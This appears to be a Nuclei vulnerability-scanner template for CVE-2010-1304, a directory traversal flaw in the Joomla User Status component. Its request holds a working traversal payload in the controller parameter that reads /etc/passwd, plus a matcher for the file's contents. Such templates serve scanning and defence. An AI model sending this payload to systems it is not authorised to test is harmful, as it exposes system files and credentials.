id: CVE-2010-1304

info:
  name: Joomla! Component User Status - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in userstatus.php in the User Status (com_userstatus) component 1.21.16 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server through directory traversal in the controller parameter of the User Status component, potentially exposing sensitive configuration files, database credentials in wp-config.php or configuration.php, and user data.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11998
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1304
    - http://www.exploit-db.com/exploits/11998
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57483
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1304
    cwe-id: CWE-22
    epss-score: 0.02693
    epss-percentile: 0.86069
    cpe: cpe:2.3:a:joomlamo:com_userstatus:1.21.16:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_userstatus
  tags: cve,cve2010,joomla,lfi,status,edb,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 480a00453043021f01dc6dc02c933b6fb9b40a2eaafe72d7e900c7b3956f55739e877e37ab41b70220764e8529a436110168c6df76215434ff9359f19e46f2dbbc1e51f39077328293:922c64590222798bb761d5b6d8e72950